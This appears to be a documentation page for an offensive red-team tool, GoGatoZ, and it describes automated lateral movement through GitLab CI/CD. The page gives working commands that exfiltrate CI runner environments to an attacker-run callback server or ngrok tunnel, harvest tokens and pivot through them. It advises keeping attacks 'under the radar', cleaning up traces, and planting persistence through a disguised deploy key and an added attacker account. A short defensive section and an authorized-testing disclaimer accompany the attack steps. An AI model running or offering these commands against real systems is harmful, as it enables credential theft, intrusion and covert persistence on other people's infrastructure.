Lateral Movement
This guide covers using GoGatoZ’s pivot command to chain CI/CD exploitation into automated lateral movement across a GitLab instance.
Note: This guide is intended for authorized security testing only. Always ensure you have proper permission.
The Pivot Chain
Section titled “The Pivot Chain”Traditional CI/CD security testing is linear: find a vulnerability, exploit it, report it. The pivot command turns this into an automated chain:
Token A → enumerate → find VARIABLE_INJECTION in project X → attack project X (exfil secrets) → harvest Token B from CI variables → Token B → enumerate → find PLAINTEXT_SECRET in project Y → attack project Y (exfil secrets) → harvest Token C from CI variables → Token C → ...Each depth level can discover tokens with different scopes, groups, and access levels — potentially reaching systems the original token could never access.


Step 1: Reconnaissance
Section titled “Step 1: Reconnaissance”Start with a dry run to understand the attack surface:
gogatoz pivot -t org/project --dry-run --follow-includes --fetch-runnersThis shows:
- How many projects are accessible
- Which have exploitable CI/CD vulnerabilities
- What attack vectors are available
Step 2: Set Up the Callback Server
Section titled “Step 2: Set Up the Callback Server”The pivot command runs its own callback server, but you need to ensure CI runners can reach it.
Direct (VPS)
Section titled “Direct (VPS)”If your VPS has a public IP:
gogatoz pivot -t org/project \ --external-url https://your-vps.com:9443 \ --listen :9443Via Tunnel
Section titled “Via Tunnel”If runners are in an isolated network, use a tunnel:
# Terminal 1: Start tunnelngrok http 9443
# Terminal 2: Use the tunnel URLgogatoz pivot -t org/project \ --external-url https://abc123.ngrok.io \ --listen :9443Step 3: Execute the Pivot
Section titled “Step 3: Execute the Pivot”gogatoz pivot \ -t org/project1 -t org/project2 \ --external-url https://your-vps:9443 \ --max-depth 3 \ --max-targets 20 \ --follow-includes \ --fetch-runners \ --cleanup \ --timeout 1hKey flags for a real engagement:
--max-depth 3: Three levels of token pivoting--max-targets 20: Cap total attacks to stay under the radar--cleanup: Remove attack branches after harvesting--follow-includes: Deeper CI analysis for more findings--fetch-runners: Detect shell executors for severity boosting
Step 4: Analyze Results
Section titled “Step 4: Analyze Results”The pivot outputs a summary showing:
- How many projects were enumerated and attacked
- How many credentials were harvested and validated
- What token types were found (PAT, deploy token, project access token)
- The maximum depth reached
Use --json for machine-parseable output that integrates with your reporting pipeline.
Understanding Token Types
Section titled “Understanding Token Types”Not all tokens are equally useful for pivoting:
| Token Type | Prefix | Pivot Value |
|---|---|---|
| Personal Access Token | glpat- |
High — user-level access to all their projects |
| Deploy Token | gldt- |
Medium — typically read-only, project-scoped |
| Project Access Token | glcbt- |
Medium — project-scoped with configurable permissions |
| Runner Token | glrt- |
Low — runner registration, not API access |
| CI Job Token | CI_JOB_TOKEN |
Very Low — short-lived, auto-expires |
PATs are the most valuable because they inherit the user’s full access scope — a single PAT from a maintainer or admin can unlock dozens of additional projects.
What Gets Exfiltrated
Section titled “What Gets Exfiltrated”The exfiltration pipeline dumps the entire environment of the CI runner job. This includes:
- CI/CD variables: Project-level, group-level, and instance-level variables injected by GitLab
- Environment variables:
PATH,HOME, runner configuration, Docker settings - GitLab-provided variables:
CI_PROJECT_ID,CI_PIPELINE_ID,CI_JOB_TOKEN, etc.
The pivot harvester then filters this for token patterns while ignoring noise (PATH, HOME, etc.).
Defensive Implications
Section titled “Defensive Implications”Organizations can defend against pivot attacks by:
- Restricting CI variable scope — Use environment-scoped variables that only inject on specific branches
- Protecting branches — Protected variables only inject on protected branches, which the attacker can’t create
- Using short-lived tokens — Project access tokens with expiry dates limit the window of compromise
- Monitoring for unusual branches — Alert on branches named
gogatoz-*or similar patterns - Network segmentation — Restrict runner egress to prevent callbacks to external servers
- Auditing pipeline runs — Flag pipelines that dump environment variables or make outbound HTTP requests
Combining with Other GoGatoZ Features
Section titled “Combining with Other GoGatoZ Features”Post-pivot persistence
Section titled “Post-pivot persistence”After harvesting a high-privilege token, use the attack command for persistence:
# Use harvested admin tokenexport GITLAB_TOKEN=<harvested_token>
# Add a deploy key for persistent accessgogatoz attack -t org/critical-project --deploy-key --key-title "CI/CD Bot"
# Add yourself as a project membergogatoz attack -t org/critical-project --add-member --member-username attackerComprehensive scanning with new tokens
Section titled “Comprehensive scanning with new tokens”export GITLAB_TOKEN=<harvested_token>gogatoz search --max-pages 0 --json | \ gogatoz enumerate --follow-includes --fetch-runners --jsonThis often reveals entire groups and projects that were invisible with the original token.